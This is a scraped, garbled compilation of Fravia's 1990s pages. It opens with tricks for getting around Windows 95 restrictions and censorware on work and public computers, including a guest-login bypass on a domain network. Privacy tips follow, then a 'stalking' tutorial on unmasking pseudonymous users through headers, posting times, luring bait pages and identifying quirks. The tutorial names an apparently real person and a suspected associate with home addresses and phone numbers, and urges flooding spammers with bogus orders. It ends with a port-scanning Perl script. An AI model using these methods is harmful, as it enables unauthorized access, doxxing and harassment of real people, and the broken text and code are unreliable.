stupid to use this shit, but you never know... should they use these
A.2.1) Windows 95
Choose OCRAWARE
End Task
C:\
edit config.sys
A.3. Cybersitter
CD /WINDOWS
CTRL+ALT+DEL
create c:\windows\temp_holder
block anymore
notepad cywin.alt
(B)
(active modules)
C:\WINDOWS\WINIPCFG.EXE
ps
kill
(C)
Install Winice 3.2. (there is a whole project of the student section that explains
how to fetch and use this most powerful debugger. You'll find softice
everywhere on the web: search, or buy it, it's a very good tool and deserves it)
Find the correct drivers for your PC (you may download them from
(D)
Use the policy editor (you'll not find it inside your machine at work,
all limits
switches /n
...And if you don't see EVEN THIS, take a look at the c:\msdos.sys
[Options]
BootMulti=1
BootGUI=1
Network=1
etcetera
the following:
BootKeys=0
-this one causes the same shit, so you have to change it to:
Bootkeys=1
(D)
As anyone (should) know, you can boot the windows bazaar in SAFE MODE (press F8 at
start
If you do choose safe mode, you'll notice pretty interesting new possibilities, which
were disabled in the "normal" booting configuration. Among other things you'll be
able
to choose the "update information tool" and have a look at what your sysads have made
in the last months (and which *.dll you should "intercept", see point three :-)
As long as you are in safe mode you are, moreover, relatively 'safe', so experiment
around
(E)
Well, let's not forget all the advantages of a quick and reliable encryptor. I use
blowfish
(and quick) encryptor, that will blowfish all the files you want, at work and at
home,
in a couple of seconds. You may (probably) get a beta version from Markus' page at
http://www-hze.rz.fht-esslingen.de/~tis5maha/software.html
Actually no, you should not. Most of the files and data that we have on our harddisks
are perfectly legal (reversing software is not an illegal activity, you may want to
no real need to encrypt anything whatsoever. Yet there are (at least) two sound
reasons
avoid ANY administrator's sniffing. Of course, once they find all your
text files blowfished they will know that you have something to hide
(once more a good dos batch can transform all those funny secret.txt.bfa
names into something more "neutral" like Cirrus.drv :-) yet the mere fact
that they wont be able to know what you are hiding is fun enough :-)
2) it's a good PRACTICE. Once you get used to routinely blowfish your data,
you'll learn also to KEEP those data in some places (and not everywhere
inside your PC, and you'll get used to encrypt sensible data, which, in
an epoque like the one we are living in, is a very sensible thing to do
anyway.
1. You could do any kind of activity in a more obscure way (no great
2. Youll enjoy a free Internet service (and the Web should be free, nicht wahr?)
It is still hard to get a shell account free and without giving much
information about yourself, but this access still helps you keep up with
telnet programs (you should know the POWER of telnetting if you are reading
these pages). Now this really bores, because there are times when you
dont even have access to the basic Programs and Settings menus of the Start
Button.
Now, how would one run programs, install programs, and read files from
these restricted systems if they dont even let you boot (Boot
passwords)? Impossible!
Not really
#1
One of the more remarkable things on these public computers is that they
often "forget" a nice 'old' program called TaskMan. This is a small program
figure out what is the purpose :). This program will allow you the
Run Application option, and from there you could try your luck with
Programs. GRP (whichll pop up all the groups of Windows thatd have
otherwise been hidden through censorware like IKIOSK.) And then theres
COMMAND.COM. Mind you, you should always have a system disk with you
#2
You know, they could have killed TaskMan after finding out what you have
been doing with it (or even 'beforehand' if the sysads are smart, which,
worry, theres still another way. These public computers using Windoze95
Chances are theyll have at least one single program, somewhere, which
requires a standard file input from a disk. NotePad may be disabled, Write
may have been crippled, but the censors won't probably have maimed that
probably the only other file utility on the marketplace of your library
standard file input files [write, Notepad, Netscape (if 'they' did not
disable the 'delicate' menu options, etc) and when you get to the "Open
What do you see?! Well, theres the silly M$ 'rightclick' list: "Open Explore"
The big point is that You now have access to Windows Explorer. From then
on... well...
#3
But again, our nasty censors and sysads world is not as forgiving as the we
Now, what if they have also removed EXPLORER from the RightClickOnFolderList?
"Man, thats it. Die public computers are too heavy censored... I give up".
Theres one more way. There is still one more option: the "Open" section in
the RightClickOnFolder!
You could click on anything and it would open it through the software you
want it to. Could even be a software 'sort of'... try ProgramManager... youll
be surprised.
A bag of tricks
*** One idea to play around is to get to a file browser (somehow) and if
you find all executable programs have been disabled for direct access, try
it 'indirectly'!
What I mean is: click on the files made for that particular program,
then you just might be able to run the program you wanted, even if direct
disabled.
If not, hey, come to think of it, another hope is to have the "Browse" button
as a choice...
*** Also try installing some programs (like PIRCH). Even though I dont
know why, if you are able to run them, then theyll automatically start
the Program Manager (no matter what the restrictions were set from the
outside) and once you can start Program Manager you'r done!
*** Dead end with "OneEyed" (no buttons, no buttons) with Netscape?
Try our famous Easter Egg shortcuts! Press Ctrl+Alt+F. Then a road will
appear, explore! Try "Netscape Home Page". Try their silly and slow search
engines, try downloading useful programs. Try whatever... main thing is you
Entering a network which uses user authentication via NT domains and has the
auth. needed for logon 'vinkje' set. (vinkje is a word describing the windows
thing of checking a box, and it is also used in: hey <thisnthat> doesn't work!
Some networks need a usercode and password to log you on, or you won't be able
to use the machines (even). Well, i got in useing the following. type something
totally wrong.
type it again. Try cancel a lot of times (this very often works in such
networks, cause sysadmins mostly don't even know about this one (i do, and i am
a sysadmin (at the moment))). The third time entered a wrong u/p the machine
gladly assisted me in 'hacking my way in' by pointing out: "You have entered a
wrong password, you may try to login as guest", which i promptly did, and
start->run, winipcfg and then after he/she left, boot in safe mode and enter
regards,
Stacker
Hey reader! Any chance you would stop leeching for a couple of minutes and send
something valuable over here? Don't you think that your knowledge is needed as
well?
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
S Back to FAA
L pages updated
more
End July
1998
supported
K Stalking
Go to enemy.htm
instead
I Fravia's Nofrill
Web design
~
You'll find on this page only
(1998)
A simple rule to follow in life is that you NEVER give out personal information to strangers. But many
people forget this rule when they cruise the web. People think that the person they encounter online is
somewhere far away and that they will never meet so how can it be dangerous to just pass out those
personal details? In some online services like America Online for example, users can fill in a "Personal
Profile" where they are invited to give their name, age, marital status and where they come from. Many
users fill this in honestly and in good faith, forgetting that they have now made their personal details
available to 400 millions of human beings, all of whom are strangers :-(
Let's add that the whole society moves (very quickly) towards a "bee-world", where everybody will know
everything you do. Dear internaut, unfortunately all the data you are disseminating around are being
collected and used to get your exact profile... this is already happening everywhere on the planet...
Cyberocracy, as some call it, is getting nearer... they trace us every time we use credit cards, every time
you buy in a supermarket with the so called "advantage" cards (why do you think they give them out and
ask you to use them, duh?), every time we make a search or simply visit places on the web or email a
usenet group
It is probably possible to know exactly (not that I care particularly) how much toilet paper YOU consume
in a week, how much beer will be buyed next month from all the people living in your street... how many
searches you have made on AltaVista for alt.lick.my.shoe postings... nothing is private any more... that is,
unless you defend yourself.
In cyberspace "verbal" is all you have. It follows therefore that you can only know someone about 30% if
you know them only on live chat or through email. The other 70% of your understanding cannot develop
until you can both hear the other person's voice and see them in real life. Remember also that when your
friend sends you a photo of him, you have no way of verifying that the photo is indeed him... all the
photos of mine that are on my other "avatar" pages (see the counter measures page) are false, and
some are QUITE different from me
There is no code of honor protecting people's privacy on the Internet. Each user should therefore take
appropriate steps to protect privacy online. Consider the following tips to protect your privacy online
before a problem develops.
You can try a finger search on yourself by going to one of the following sites on the WWW:
http://www.rickman.com/finger.html
http://www-bprc.mps.ohio-state.edu/cgi-bin/finger.pl
4) Review your email signature and email headers
What does your email signature say about you? Your email sig. is added to every piece of email you
send. Check yours (send yourself some email and then look at the headers at the top and the signature at
the bottom), and make sure it does not give away your home telephone number or any other personal
details. If your email sig. reads "Jane Doe - Boston's finest!" then a cyberstalker can now look in the
Boston telephone directories and see how many Jane Does are listed. And what if there are only two
listed? Check also how your email headers read. Part of your headers you can configure yourself - make
sure that you do not reveal too much about yourself, unless you do not care, like me :-D
5) Consider using an anonymous remailer (or email alias service) to post messages to the Usenet
You can also draw unwelcome attention to yourself if you post messages to newsgroups on the Usenet -
by posting such material you are also posting your email address. Consider using an anonymous
remailer so that you can post anonymously to the Usenet, particularly if you are getting into a heated
debate about a controversial subject. The other reason for using an anonymous remailer when posting to
the Usenet is that although posts are deleted from the News server after a short period of time, posts are
archived, which means anyone at a later date can read all the posts you ever made, by using a Usenet
search engine, e.g. Deja News at
http://www.deja,news.com
To read about anon remailers visit:
http://www.well.com/user/abacard/remail.html
6) Consider using an anonymous web browser
Consider browsing the WWW by going through an anonymous Web browsing service. This will make it
impossible for your web-surfing to be logged by Websites (which IS currently done), so no one will be
able to pick up any information on you. You can find this service, together with an FAQ at:
http://www.anonymizer.com/
7) Consider using encryption to authenticate your email messages
By using an encryption program like PGP (Pretty Good Privacy) you can verify your email so that you
cannot be impersonated. PGP signing your email does not change the whole thing into code but adds a
code at the bottom that indicates the email has been scanned and verified as yours. If someone forges
your email or tampers with it, then when your recipient checks the PGP sig with what's known as your
"Public Key" it will show that the email is no longer genuinely yours.
PGP is a difficult program to learn but is very valuable for authentication of email. You can read about
it at:
http://www.well.com/user/abacard/pgp.html
8) Discuss your safety and privacy requirements with your Internet Service Provider and enlist their
help and advice
Don't be afraid to discuss these issues with your Internet Provider. You are paying them good money to
use their service, and you have a right to assistance. Find out how seriously they take personal safety
online. If you are not satisfied, consider moving. Shop around - there are some very responsible
companies out there. You might also like to establish if your ISP keeps an online directory of all clients
on their FTP site. If they do and your name is up there, ask them to remove it for safety reasons. If they
refuse, perhaps you should choose another ISP...
Everyone was a beginner once, but it is up to you if you choose to remain one. Work out what you need
to know and then find out where to learn it. This may take the form of joining classes, reading books,
reading internet FAQs (Frequently Asked Questions) and talking to experts in #help channels on IRC.
Remember knowledge is power and ignorance is weakness
In IRC make sure you know how to set up flood protection, and if you don't wish to receive ctcp
commands, toggle them off. Make sure also that your DCC is not on "auto get". If DCC is set to auto
receive files then you can be sent files while logged in without your consent. Turn on your timestamping
option also, so all logs have the times automatically recorded
As soon as you are logged onto IRC, turn your logger/text capture ON - This is important so that you
keep a record of each IRC session. If there are no problems then you can always trash the log later, but
if you have a problem you may wish to keep the evidence
"...they track us, our interests and our hosts, we track them,
their interests and their hosts, it's an interesting match and we'll
always win, coz we do not do it for money... Work well, +ORC"
__Stalking, an introduction__
(Part of the following: courtesy of Judith S. Donath)
Identity plays a key role on the web. In communication, which is the primary scope of any web-related activity, knowing the
identity of those with whom you communicate is essential for understanding and evaluating an interaction. Yet in the
disembodied world of the virtual community, identity is extremely ambiguous. Many of the basic cues about personality and
social role we are accustomed to in the physical world are absent. Other cues are presents yet difficult to interpret. If you
receive email from a guy whose address Eric.Staunton@innocent.com with an attached image of a middle aged man sitting
comfortably on the patio of his house, you may be fooled into thinking that you have to do with a guy named Eric Staunton. It
could be, yet you'll never have any real proof of it. One can have, on the web, as many electronic personas as one has time and
energy to create (and memory to recall :-)
Yet, while it is true that a single person can create multiple electronic identities that are linked only by their common
progenitor, that link, almost invisible in the virtual world, is of great significance. That is the weak point of any virtual created
identity. It's easy to say that your avatars should have 'coherent' personalities , i.e. if you create a 'lorry driver' personality and a
'university professor' personality, the two should have COMPLETELY different speech patterns), yet this is very difficult to
implement. Stalkers should be very versatile experts, ready to read and recognize voluntarily altered speech patterns.
Usenet, for obvious reason is the field you should peruse to learn the first elements of the stalking art. See: most of Usenet is
meant to be non-fiction; the basic premise is that the users are who they claim to be. There are, however variances between the
different newsgroups as to what constitutes a real or "legitimate" identity. And there are numerous cases of identity deception,
from the pseudo-naive trolls to the name-switching spammers.
Yes, there's a vocabulary you should learn:
a) Flaming: I.e. rude comments, insults, personal attacks, etc.
b) Trolling: I.e. fishing for flames. Usually takes the form of inane
postings like smarmy love chatter, useless pieces of boring
information, McClatchie's FAQ, etc.
c) Cascades: Endless meaningless threads the posters repeat the same
phrase over and over, sometimes with a little variation. They are
amusing to the ones participating in them, boring to everyone else.
Boring as most of these little silly wars are, there are GREAT lessons in stalking hidden in there
(as you'll see if you follow the links below). That's why you too will have to deal with this.
Actually, as usual in the Web, many of our techniques cross and merge reciprocally: anonymity
techniques, how to search knowledge, reality reversing tricks, usenet techniques, anti-spamming
knowledge are ALL required to tackle some of the tasks that you'll have to perform if you really
intend to master what you are trying to learn now. Let's, moreover not forget how useful will be
our holy software reversing skills each time we'll decide to use some of the many tools that the
Web offers to track down our targets (tools that are unfortunately at times crippled or simply too
short-lived :-)
I would say that if you are an experienced 'global' reverser you'll have more survival chances that
many others, but only your own complementary work, and your own experience, will keep you as
a hunter and your target as a game and not the other way round... since, for instance some of the
professional spammers may turn quite nasty AGAINST you if you're not careful -and powerful-
enough.
In order to gather more material, just search for 'avoiding flaming' and 'trolls flames' on Altavista
or follow some of the links below... as you'll see there are all sort of documents and faqs on these
subjects. 'Trolling for newbies' comes from 'trolling': a style of fishing in which one trails bait
through a likely spot hoping for a byte. Real well-constructed trolls have a double audience: the
idiots (newbies and flamers) that byte the bait and the 'trolls-savy' that enjoy the troll. I'll try to
teach you also how to identify and track down experienced trollers, among the most interesting
game out there (together with professional spammers on rogue ISP) for any 'professional' stalker...
but let's go on with the basic knowledges...
So, as we were saying, the basic premise is actually, often enough, that the users are NOT who they claim to be... the danger is
that the limited identity cues may make people accept at face value a writer's claims of credibility: it may take a long time -
and a history of dubious postings - until people start to wonder about the actual knowledge on a self-proclaimed expert. This
said it is also true that - for web related matters - 'official' experts are often FAR inferior to clever autodidacts, so you never
know.
Erving Goffman, in his classic work "The Presentation of Self in Everyday Life" distinguished between the 'expressions given'
and the 'expressions given off'. The former are the deliberately stated messages indicating how the one wishes to be perceived;
the latter are the much more subtle - and sometimes unintentional - messages communicated via action and nuance. Both forms
of expression are subject to deliberate manipulation, but the 'expression given off'' may be much harder to control. One can
write 'I am female', but sustaining a voice and reactions that are convincingly a woman's may prove to be quite difficult for a
man.
Writing style can identify the author of an posting. A known and notorious net personality hoping to appear online under a
fresh name may have an easier time disguising his or her header ID than the identity revealed in the text. The introduction to
the cypherpunks newsgroup includes this warning:
The cypherpunks list has its very own net.loon, a fellow named L. Detweiler.
The history is too long for here, but he thinks that cypherpunks are evil
incarnate. If you see a densely worded rant featuring characteristic words
such as ``medusa'', ``pseudospoofing'', ``treachery'', ``poison'', or ``black lies'',
it's probably him, no matter what the From: line says.
- Cypherpunks mailing list
In this case, where the usual assessment signal - the name in the header - is believed to be false, language is used as a more
reliable signal of individual identity. See also an example of a spammer using multiple identities on the very nice "Kook of the
Month!" site.
One newsgroup that contains many business-card signatures is comp.security.unix. The discussion here is about how to make
unix systems secure - and about known system flaws. Many of the participants are system administrators of major institutions,
others are just learning how to set up a system in a fledgling company and some, of course, are hoping to learn how to break
into systems :-). A posting suggesting that administrators improve their sites by changing this or that line of code in the system
software could be a furtive attempt get novice administrators to introduce security holes. Identity deception is a big concern of
the participants in this group, and this makes it VERY interesting for any advanced studiosus of these matters, to try soon or
later his luring abilities in this group. (When you'll do it, if you want to be taken seriously (and you'll probably don't go very
far even so :-) first create 'really' your own company, say 'Software Alternative Limited', then name yourself 'Director of
Software Development', create your domain and sign with something like "Director@SALSoft.com".
Many varieties of identity deception can be found within the Usenet newsgroup. Some are quite harmful to individuals or to
the community; others are innocuous, benefitting the performer without injuring the group. Some are clearly deceptions, meant
to provide a false impression; others are more subtle identity manipulations, similar to the adjustments in self-presentation we
make in many real world situations.
ntil recently, header information was quite reliable. Most people accessed Usenet with software that inserted the account name
automatically - one had to be quite knowledgeable to change the default data. Today, many programs simply let the writer fill
in the name and address to be used, making posting with a false name and site is much easier. The astute observer may detect
suspicious anomalies in the routing data (the record of how the letter passed through the net) that can expose a posting from a
falsified location. Yet few people are likely to look that closely at a posting unless they have reason to be suspicious about its
provenance.
It is useful to distinguish between pseudonymity and pure anonymity. In the virtual world, many degrees of identification are
possible. Full anonymity is one extreme of a continuum that runs from the totally anonymous to the thoroughly named. A
pseudonym, though it may be untraceable to a real-world person, may have a well-established reputation in the virtual domain;
a pseudonymous message may thus come with a wealth of contextual information about the sender. A purely anonymous
message, on the other hand, stands alone.
There are some useful tricks to narrow down the number of suspected targets in order to stalk a pseudonym user. One of the
best ones I know of is the time trick, but in order to understand it you mist first know the elementary elements of an email
header.
Here is a sample email header (colors added). The final receiver's address is 'you@your.domain.com'.
Received: (2228 bytes) by <your.domain.com> via sendmail with P:stdio/D:user/T:local (sender:
<29086328@compuserve.com>) id m0xUFxr-001cL6C@your.domain.dom for
you@your.domain.com; Sat, 8 Nov 1997 10:50:35 -0800 (PST) (Smail-3.2.0.98 1997-Oct-16 #12
built 1997-Oct-28) Received: from simon.pacific.net.sg (simon.pacific.net.sg [203.120.90.72]) by
your.domain.com (8.8.7/8.7.3) with ESMTP id KAA01565; Sat, 8 Nov 1997 10:43:34 -0800 (PST)
From: 29086328@compuserve.com Received: from pop1.pacific.net.sg (pop1.pacific.net.sg
[203.120.90.85]) by simon.pacific.net.sg with ESMTP id CAA25373; Sun, 9 Nov 1997 02:44:51
+0800 (SGT) Received: from po.pacific.net.sg (hd58-032.hil.compuserve.com [199.174.238.32])
by pop1.pacific.net.sg with SMTP id CAA12179; Sun, 9 Nov 1997 02:43:10 +0800 (SGT)
Received: from mail.compuserve.com (mail.compuserve.com (205.5.81.86)) by compuserve.com
(8.8.5/8.6.5) with SMTP id GAA04211 for <87789123456@aol.com>
It may look confusing, but there are some patterns that tell you everything you need to know. The header can be
broken into several sections, each beginning with the word "Received".
The first 'Received' is from your email server. This section lists the supposed sender, the message ID number,
and when the message came in. The other 'Received: from' tags are from remailers that the spammer used to
make it more difficult to track him/her down.
1. Find the last 'Received: from' entry in the header. This usually shows the originating server.
2. Find and write down the server domain and its IP address. This information appears in parenthesis in
each 'Received: from' entry.
Machine Name IP Address
mail.compuserve.com 205.5.81.86
hd58-032.hil.compuserve.com 199.174.238.32
popl.pacific.net.sg 203.120.90.85
simon.pacific.net.sg 203.120.90.72
(This part -I should have checked- comes directly from Symantec's page ~ end)
Of course you should by all means read Gandalf's info, which is far superior to the Symantec information above, at
http://ddi.digital.net/~gandalf/spamfaq.html
More URLs to help you figure out how to look at the headers:
http://www.concentric.net/~Nvam
http://help.mindspring.com/features/emailheaders/index.htm
http://help.mindspring.com/features/emailheaders/extended.htm
automated dynamic providers like Compuserve or AOL (which is always a good idea), and even if he writes to the usenet
groups through an anonymous remailer, or DejaNew itself or whatever, he will tend to do it at FIXED TIMES. It is sometime
incredibly easy to find out in which part of the world a target lives just studying his timing patterns!.
Most of the people work on Internet in the evening hours, say between 21 and 24:00 local time.
A common used 'luring' techniques consists in publishing or emailing to your target some 'luring baits' (in order to get the
target to react) indicating a (faked and bogus) page of yours on some free server, where you have -supposedly- put something
that the target badly needs or is interested into. Examining the loggings for that page you'll be able to see WHEN the target has
accessed it. Many targets will access it anonymously just in case, yet few targets are careful enough to do that at an "abnormal"
hour of the day.
Deleted postings (Balif's trick)
It may at times be useful to check which cancel messages have been sent to the newsgroups.
As Balif pointed out in a famous posting on alt.2600: to examine all the cancel messages, you can use Dejanews, which does
not honor them but actually archives them. Do a power search on group alt.2600, for "control cancel", sorted by date. You can
see there all cancel messages coming from a given address.
Unfortunately Dejanews strips important headers. On your news server, cancel messages do not appear in the newsgroup, and
are unseen to you. However you can view them by looking in the group "control.cancel". Beware, this group will most likely
be enormous. It contains every cancel message your news server has received for all groups. Mine had 75,000 some messages.
Here you can examine the headers of the cancel message. Yet it takes feeling and time to stalk information in this way.
Sharp edges (SPUTUM's trick)
Say you have as your target your balooney@enemy.com; do Altavista and Dejanews searches for balooney@enemy.com
looking for eventual postings where you may find his real name. Especially check all various alt.test.whatever groups, as these
may contain at least one instance of 'rough' preparatory postings, when the target fine-tuned her newsreader's configuration.
Do Altavista and Dejanews searches on any "sharp edge" that sticks out.
"Sharp edges" are, according to SPUTUM "unique characteristics which can lead one to the real poster". Example:
balooney@enemy.com may use as Organization: "balooney inc." on all his Usenet posts. Maybe he forgot to remove this info
when posting later. You search for "Organization: balooney inc." (as well as for posts containing his sig), and maybe find all
his fatuous posts to alt.fetish.threelegs, and from thence you will find (if you'r lucky) his narcissistic website chock full of juicy
personal information (or at least of many more "sharp edges").
Other promising "sharp edges": trailing user name in path (...!news.foo.com!imamoron), funky newsreaders (ZippityDooDah
News Alpha 0.9), unique signature components.
You may add signature patterns, and even particular emoticons like :--> :*) 8-[
Look hard. Be clever. Reverse your target.
__Enemy identification__
An interesting example: the "Bokler guy" identification
This is an old 'historical' example, yet it will quickly show you the power of Dejanew stalking: was one of the links on my old
links.htm page: an "enemy" wich I described as "worth investigating". In reality this guy is not an "enemy" of anybody (he
only produces in visual basic pretty simple encryption software) and his "cracker page" is not so bad at all, he use it as
"scarecrow" for the potential buyer of his software. Hope he will not grudge me if I use him as an ideal subject for this lesson...
anyway he makes money scaring people with our work, I'll scare him for free showing him what I know about him :-)
Here is the original link to his page if you want to visit it:
An enemy worth investigating
If we hit the page above we'll see as only reference a post office box:
James Moore
Now we have some more interesting data:
jim@bokler.com (James A. Moore)
SO, "real" name and a "real" email... what can we get more?
Well, let's have a look at his *RECENT* interests...
Well, let's have a look at this suspicious (from november 1995) Darren Brocklehurst (email address
dbrockle@compusense.com -> Darren Brocklehurst), this is the only old letter about DESchipher, is a bad concealed publicity
of Bokler software as you can yourself read Re: Protection from password cracks? i.e. alt.cracks (Ah! What they would not do
for some more money, the commercial programmers!) and there is something interesting in this name (Brockle-->Bokler): and
see his profile!
His profile is almost identical with our "James A. Moore"! Where does our Brocklehurst live? (Yahoo search)
D M Brocklehurst
Albuquerque,NM 87112
(505)299-0562
So, he lives in New Mexico too...
And do we have a James. A. Moore in New mexico somewhere?
James Moore
701 W San Mateo Rd, Santa Fe, NM 87505-3921
(505)988-4370
MMM.. Sounds good: Do we have here the real guy and his pal? Let's first check out something else: using whowhere and the
previous address we'll find the following:
good! So the Bokler company is actually registered in New Mexico, who answers the Alabama telephon? (Four11 search)
Jim Moore
Alabama,
United States Of America
E-Mail Address: bockler_1@HIWAAY.NET
So is simply his HIWAAY provider, rerouting email. Telephon may also be rerouted in the same way.
Anyway if we use Infospace we get the address and the real provider of the web space the other way round:
__Enemy investigation__
An interesting example about Dejanews itself is here
Well, yes, Dejanew, as you'll learn on this very page is a very powerful stalking tool indeed, and the question "who hydes
behind dejanew?" is therefore particularly legitime. (Watch it, part of the info needs to be updated: Dejanews has changed in
the last 12 months!)
__Enemy investigation__
BTW, if you want to investigate an earlier stalking project, here you go with Brian's electel balif's plot, where, among other
things, you can also see what a good stalker gets out of a picture!
__Enemy investigation__
Some other examples: if you are interested in stalking you'll always get quite interesting info from the 'antispammers' fronts:
SPUTUM: Spamkilling Personal Interface (Tactical, Enhanced) The three basic spammer types and how to stalk them. (This
is the fundamental tutorial on analyzing usenet headers!)
For a reverser, stalking can as much great fun as reversing software protections.
Next time you receive some spamming email DO NOT throw it away. Be cool, and try some of the tricks/techniques described
above to stalk the spammer. If you have time you may even try the 'go for it' trick: most spammers, even among the most
capable forging dudes, are infact trying to SELL you something, aren't they? There dwells the real weak point of these
assholes. Somewhere, at a given moment they have to give you either a real address or a real telephone number or whatever in
order for you to send them your money.
Fishing spammers can be real fun therefore, especially if you have time, patience, flair and a little dose of social engineering
capabilities.
Once you have them you can administer your favoured punishment, from denouncing them to their upstream ISPs supplying
service (not always useful) to slowbomb them (until they change real address) with faked clients requests and bogus orders for
whatever product they sell (very funny and frustrating for them). This is also IMHO the best method to deal with pyramid
schemes: just let a dozen postmaster@[127.0.0.1] or whatever enter the scheme eh eh.
A word of advice: don't choose too dangerous gamebirds at the beginning: real nasty people can be quite dangerous on the net.
It is one thing to stalk a peaceful experienced troller, it is a completely different thing to stalk a ring of high-level protected
commercial paedophiles. Learn your stalking, luring and logical reversing ABCs first and don't go around shooting yourself in
your feet.
This section of my site, under perennial construction, was started on 15 november 1996
fravia's antispam related page
(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved
Enemy
tracking
0) some simple
fravia's stalking tools
(Fravia shows you
G anonymity what you can do - or
try - and where you
O pages can learn some
advanced stalking
techniques)
T ~
C Enemy tracking
A 2) Reversing language
patterns
crossposting. A good reverser
can moreover easily
'reconstruct' (part of) the
Well, clearly the 'anonimty lab' of my site needs a little re-ordering... this page, added in October 1998, is
due to the necessity of a single 'resources' page for the whole anonimty lab. I'll slowly modify and trim the
other sections, yet, grossomodo, my idea for each lab is to have a specific 'tools' page where you'll be able
to find all the relevant links and tools.
TraceRoute
(Cut and paste in the URL window and then replace XXX.YYY with your target domain name)
http://www.techmart.com/cgi-bin/trace.cgi?XXX.YYY
http://www.net.cmu.edu/bin/traceroute?XXX.YYY
http://www.missing.com/trace.cgi?XXX.YYY
http://www.eu.org/cgi-bin/nph-traceroute?XXX.YYY
http://www.tornado.be/cgi-bin/traceroute?XXX.YYY
http://www.luc.ac.be/cgi-bin/Research/LTI/traceroute?XXX.YYY
http://www.anime.net/linuxisp/traceroute.cgi?XXX.YYY
http://www.hartc.com/cgi-bin/nph-traceroute?XXX.YYY
http://absinthe.lightside.net/~fred/cgi-bin/nph-traceroute.cgi?XXX.YYY
Base 10
No DNS
E-MAILRELAY CHECK
LOOKUP 20
DNS RECORDS Hops (35 max)
PING
HTTP HEADERS Enter Value:
TRACE
NETWORK LOOKUP
WWWHOIS 111.105.116.5
EXPRESS TRACE
Submit
help
111.105.116.5 WHOIS
whois.arin.net
Choose WHOIS server
Usenet
Telephone Directories
Variae
Fravia's Anonymity
Academy
Enemy
tracking
fravia's
Email stalking
anonymity pages techniques
G
(Fravia shows you
O Enemy tracking what you can do - or
T try - and where you
EMAIL STALKING can learn some
C TECHNIQUES AND
updated
September 1998
advanced stalking
techniques)
H DYNAMIC IPs
A ~
Enemy tracking, a very
! difficult art, can be divided
into stalking, "logical
Fravia's Nofrill
Web design reversing" and luring. In
(1998) order to stalk you need a
deep knowledge of Usenet
spamming (and war)
techniques like flaming,
trolling and crossposting.
Here you'll learn some simple
tricks in order to gather
information about your
target WITHOUT contacting
directly his website.
[1) scan the http server port for your target domain]
[1.1) a port scanning Perl script]
[1.2) get da relevant RFC]
[2) get servers list and operator names for your target domain]
[3) importance of a dynamic ip chain]
There are a couple of useful stalking tricks (in fact this approach is MUCH more anonymous than directly
browsing onto your target domains :-)...
This trick is useful to scan port 80 (or whatever :-) of your target (I'll use here fortunecity.com). Just use your
email program - of course one of your "free webaddresses" aliases (like yahoo.com) accessed through a
dynamic IP provider - onto an agora server in the following way:
Netcraft (not you) will scan the HTTP server port of your target domain, and you'll get the following answer
emailed to your alias:
www.fortunecity.com is running Apache/1.2.5.
Substitute a domain name of your choice to the www.fortunecity.com using the following schema (note the \
linebreak sign, because most email apps will else break your line arbitrarly)...:
send http://www.netcraft.com/cgi-bin/Survey/whats?\
host=XXXXXX.XXX&port=80
...and you'r done.
This will tell you the name of the server that is running your target web site, a very useful kind of
information for your anti-smut attacks and/or for your general stalking activities... as you'll understand
elsewhere on my pages.
Of course if you prefer to use your full Internet access you can use a port scanner. This will scan a domain IP
for all available ports and report the protocols they serve.
For those among you that don't know much about ports, here's a little Perl script:
#!/usr/local/bin/perl -w
# findport - find a server running at an unknown TCP port
# <title>findport.pl</title>
# Copyright (C) 1996 by John J. Chew
unshift(@INC, "$ENV{HOME}/lib/perl");
require 'getopts.pl';
require 'sys/socket.ph';
sub Usage {
die "Usage: $0 [-m] [-O] [-q] host [start-port]\n".
"-m allow multiple matches\n".
"-O try `obvious' ports\n".
"-q be quiet\n".
"";
}
&Getopts('mOq') || &Usage;
$#ARGV < $[ && &Usage;
$#ARGV > $[ + 1 && &Usage;
$#ARGV > $[ && $opt_O && &Usage;
@gObvious = (
# popular port numbers for MOOs
7777, 8888, 6666, 6969, 1234, 1701, 4444, 2112, 2499, 4000, 8000, 9595,
1138, 1359, 1709, 1848, 1961, 1975, 1996, 2000, 2001, 2029, 2345, 3000,
3175, 4201, 4242, 5000, 5678, 6464, 7000, 7007, 7200, 7700, 7878, 8080,
8889, 9000, 9020, 9030, 9040, 9999, 3434,
chop($clienthostname = `hostname`);
(($name, $aliases, $type, $length, $clientaddress)
= gethostbyname($clienthostname))
|| &die("gethostbyname($clienthostname) failed: $!");
$clientname = pack($sockaddr_t, &AF_INET, 0, $clientaddress);
$| = 1;
$port = shift @gObvious if $opt_O;
while (1) {
$servername = pack($sockaddr_t, &AF_INET, $port, $serveraddress);
print "$port" unless $opt_q;
if (connect(S, $servername)) {
print "\n\a" unless $opt_q;
print "$port is active.\n";
exit 0 unless $opt_m;
}
else {
print " ";
$opt_O ? (($port = shift @gObvious) || exit) : $port++;
close(S);
socket(S, &PF_INET, &SOCK_STREAM, $protocol) || &die("socket()
failed: $!");
bind(S, $clientname) || &die("bind() failed: $!");
}
}
If you want to know even more about ports, just retrieve RFC1060 to get a list of the assigned numbers. And
don't ask how d'you retrieve a RFC... you should already know it...
No? Well, per email, of course here is it:
To: RFC-INFO@ISI.EDU
Subject: [nutting: leave blank]
----------------------------------------------
Body: Retrieve: RFC
Doc-Id: RFC1060
The RFC1060 above is the "alfa and omega" of any good commercial_porn_sites buster,
this report on the parameters (i.e., numbers and keywords) used in protocols in the Internet
community belongs among your most coveted study materials! :-)
Retrieve it as I told you and, in the mean time, have a look at its contents.
INTRODUCTION.................................................... 2
Data Notations.................................................. 3
Special Addresses............................................... 4
VERSION NUMBERS................................................. 6
PROTOCOL NUMBERS................................................ 7
PORT NUMBERS.................................................... 9
UNIX PORTS......................................................13
INTERNET MULTICAST ADDRESSES....................................19
IANA ETHERNET ADDRESS BLOCK.....................................20
IP TOS PARAMETERS...............................................21
IP TIME TO LIVE PARAMETER.......................................23
DOMAIN SYSTEM PARAMETERS........................................24
BOOTP PARAMETERS................................................25
NETWORK MANAGEMENT PARAMETERS...................................26
ARPANET AND MILNET LOGICAL ADDRESSES............................30
ARPANET AND MILNET LINK NUMBERS.................................31
ARPANET AND MILNET X. 25 ADDRESS MAPPINGS.......................32
IEEE 802 NUMBERS OF INTEREST....................................34
ETHERNET NUMBERS OF INTEREST....................................35
ETHERNET VENDOR ADDRESS COMPONENTS..............................38
ETHERNET MULTICAST ADDRESSES....................................41
XNS PROTOCOL TYPES..............................................43
PROTOCOL/TYPE FIELD ASSIGNMENTS.................................44
PRONET 80 TYPE NUMBERS..........................................45
ADDRESS RESOLUTION PROTOCOL PARAMETERS..........................46
